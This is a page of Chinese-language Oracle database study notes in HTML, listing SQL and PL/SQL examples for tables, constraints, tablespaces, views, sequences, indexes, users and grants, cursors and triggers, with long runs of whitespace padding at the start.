pfile=C:\app\Administrator\admin\orcl\pfile\init.ora;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; show parameter processes;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>
</p>
<p class="MsoNormal">
	创建表<span>Create table scott1.emp1 ( Empno number(5)
primary key, Ename varchar2(15) not null, age number(2) CHECK(age between 18 and
65 ) </span>，<span>Per_id varchar2(18) CONSTRAINT perid UNIQUE ,Job varchar2(10),
Mgr number(5), Hiredate date default sysdate, Sal number(7,2) CHECK(sal&gt;100),
Comm number(3) default 0.0 , Deptno number </span>，<span>constraint dept_fkey
References scott.dept ) Tablespace users PCTFREE 10 PCTUSED 70 STORAGE ( INITIAL
50K NEXT 50k MAXEXTENTS 10 )</span>；<span></span>
</p>
<p class="MsoNormal">
	修改表<span>alter table dept add ( headcount number(3)
) | drop (headcount);</span>
</p>
<p class="MsoNormal">
	<span>alter table dept modify( Dname char(20) );</span>创建表空间<span>create tablespace mytablespacedatafile'C:\app\Administrator\oradata\orcl\mytab01.dbf'
size 50m DEFAULT STORAGE( initial 512k next 128k minextents 2 maxextents 999 pctincrease
0 );</span>
</p>
<p class="MsoNormal">
	查询表空间<span> select
tablespace_name,file_name,bytes from dba_data_files;</span>
</p>
<p class="MsoNormal">
	主键<span>ALTER TABLE PARK_REVENUE ADD(park_rev_pk PRIMARY
KEY ( ACCOUNT_NO));</span>
</p>
<p class="MsoNormal">
	<span>alter table emp2 add ( constraint pk_empno
primary key (empno));</span>
</p>
<p class="MsoNormal">
	约束<span>alter table emp2 add (sal number (9,2)
check (sal&gt;0 and sal &lt; 99999));</span>
</p>
<p class="MsoNormal">
	<span>alter table emp2 add (deptno number(2)
references dept(deptno));</span>
</p>
<p class="MsoNormal">
	临时表<span>create global temporary table myemp as
select * from emp;</span>
</p>
<p class="MsoNormal">
	创建视图<span>create view v_empsal2000 as select *
from emp where sal&gt;=2000 with check option;</span>
</p>
<p class="MsoNormal">
	创建实体试图<span>grant create materialized view
,select any table to scott;</span>
</p>
<p class="MsoNormal">
	<span>CREATE MATERIALIZED VIEW all_emps PCTFREE 5
PCTUSED 60 TABLESPACE users STORAGE (INITIAL 50K NEXT 50K) USING INDEX STORAGE
(INITIAL 25K NEXT 25K) REFRESH START WITH ROUND(SYSDATE + 1) + 11/24 AS SELECT
* FROM scott.emp where deptno=20 UNION SELECT * FROM scott.emp where deptno=30;</span>实体化视图的数据操<span>insert delete update</span>禁止<span></span>
</p>
<p class="MsoNormal">
	序列<span>CREATE SEQUENCE emp_no INCREMENT By 1
START WITH 1 NOMAXVALUE NOCYCLE NOCACHE; </span>修改<span>ALTER
SEQUENCE emp_no INCREMENT By 2 MAXVALUE 9999 CYCLE ;</span>
</p>
<p class="MsoNormal">
	使用<span>insert into orders(orderno,custno) values(order_seq.nextval,1032)</span>；<span></span>
</p>
<p class="MsoNormal">
	<span>insert into line items(orderno,partno,quantity)values(order_seq.currval,20231,3)</span>；<span></span>
</p>
<p class="MsoNormal">
	同义词<span>CREATE PUBLIC SYNONYM emp FOR scott.emp
; DROP SYNONYM emp ;</span>
</p>
<p class="MsoNormal">
	<span>alter table emp2 pctfree 10 pctused 85;</span>
</p>
<p class="MsoNormal">
	索引<span>create index in_empno on emp(ename)
tablespace users;</span>
</p>
<p class="MsoNormal">
	<span>create index in_lename on emp(lower(ename))
tablespace users;</span>
</p>
<p class="MsoNormal">
	<span>create index in_year on emp((sal+comm)*12)
tablespace users;</span>
</p>
<p class="MsoNormal">
	聚簇<span>create cluster personal (department_num
number(2)) pctfree 40 pctused 10 tablespace users; or tablespace users STORAGE
(INITIAL 100K NEXT 50K); grant create any cluster to scott;</span>
</p>
<p class="MsoNormal">
	修改日志组<span>alter system switch logfile; </span>添加日志<span> alter database orcl add logfile group 4
'C:\app\Administrator\oradata\orcl\redo0401.log' size 30m; select
group#,members,status from v$log&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
grant create any view to a with admin option;</span>
</p>
<p class="MsoNormal">
	权限<span> grant create session to zhao; grant
create table,create view to zhao; revoke</span>撤销<span></span>
</p>
<p class="MsoNormal">
	创建用户<span>create user zhao identified by zhao
default tablespace users quota 100m on users;</span>
</p>
<p class="MsoNormal">
	锁是数据库中防止并发征用资源、读到脏数据、有序访问数据的重要机制。锁有<span>2</span>种形式：<span>X</span>锁（<span>exclusive</span>，独占锁，一般也做写锁）和<span>S</span>锁（<span>share</span>，共享锁，也叫读锁）锁的级别有<span>3</span>种，分别是数据库锁、表锁、行锁（列锁）锁的可见性来讲，有<span>2</span>种，分别是明锁和暗锁<span></span>
</p>
<p class="MsoNormal">
	<span>SQL&gt; create
or replace procedure addcomm 2 (p_empno in scott.emp.empno%type, 3 p_comm in
scott.emp.comm%type, 4 p_income out scott.emp.sal%type) as 5 6 7 no_result
exception; 8 begin 9 update scott.emp set comm=p_comm where empno=p_empno; 10 if
SQL%notfound then 11 raise no_result; 12 end if; 13 select sal+nvl(comm,0) into
p_income from scott.emp where empno=p_empno; 14 exception 15 when no_result
then 16 dbms_output.put_line('</span>该员工不存在！<span>'); 17 when
no_data_found then 18 dbms_output.put_line('</span>未得到正确的职工月收入！<span>'); 19 when others then 20 dbms_output.put_line('</span>未知错误！<span>'); 21 end; 22 / SQL&gt; set serverout on &nbsp;in </span>实参<span>-&gt;</span>形参，<span>out</span>形参<span>-&gt;</span>实参，<span>in out </span>表示双向传输<span>declare v_empno number(4); v_comm number(7,2);v_income number(7,2); begin
v_empno:=&amp;v_empno;&nbsp; v_comm:=&amp;v_comm;
addcomm(v_empno,v_comm,v_income);dbms_output.put_line('</span>该员工的月收入是<span>'||to_char(v_income));
10 end; 11 / </span>
</p>
<p class="MsoNormal">
	<span>&nbsp;</span>游标<span>declare</span>
</p>
<p class="MsoNormal">
	<span>v_sal number(7,2);v_comm
scott.emp.comm%type;v_name scott.emp.ename%type;v_total number(7,2);cursor
c_total is select ename,sal,comm from scott.emp where deptno = 30;beginopen
c_total;fetch c_total into v_name,v_sal,v_comm;while c_total%found loop v_total:=v_sal
+ nvl(v_comm,0);dbms_output.put_line(v_name||'</span>的奖金是<span>:'||to_char(v_total));</span>
</p>
<p class="MsoNormal">
	<span>fetch c_total into v_name,v_sal,v_comm;end
loop;close c_total;end;/</span>
</p>
<p class="MsoNormal">
	<span>for i in 1..c_total%rowcount loop 1-1</span>的<span>for i in 1..5 loop 1-5</span>
</p>
<p class="MsoNormal">
	<span>savepoint b; rollback to b;</span>
</p>
<p class="MsoNormal">
	触发器<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>
</p>
<p class="MsoNormal">
	<span>create table emp_unemploye as select
empno,ename,job,sal,comm,deptno from scott.emp ;</span>
</p>
<p class="MsoNormal">
	<span>create or replace trigger tri_unemploye after
delete on scott.empfor each row begin insert into emp_unemploye values
(:old.empno,:old.ename,:old.job,:old.sal,:old.comm,:old.deptno);</span>
</p>
<p class="MsoNormal">
	<span>end; /</span>
</p>
<p class="MsoNormal">
	<span>instead of delete on v_sumsal&nbsp;&nbsp; </span>删除<span>emp</span>表中指定部门号的所有员工<span></span>
</p>
